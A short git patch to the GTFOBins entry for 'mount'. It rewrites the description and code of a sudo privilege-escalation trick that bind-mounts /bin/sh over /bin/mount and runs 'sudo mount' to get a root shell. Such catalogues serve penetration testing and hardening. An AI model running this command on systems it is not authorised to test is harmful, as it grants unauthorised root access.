From a00f6897600e2a11d52aa7be8f8401414ec71106 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 16 Jul 2018 13:47:09 +0200 Subject: [PATCH] Improve mount --- _gtfobins/mount.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_gtfobins/mount.md b/_gtfobins/mount.md index d76c4ff..104e35e 100644 --- a/_gtfobins/mount.md +++ b/_gtfobins/mount.md @@ -1,8 +1,8 @@ --- functions: sudo-enabled: - - description: bind mount bash to the mount binary, as mount is sudo enabled. + - description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell. code: | - sudo mount -o bind /bin/bash /bin/mount + sudo mount -o bind /bin/sh /bin/mount sudo mount ---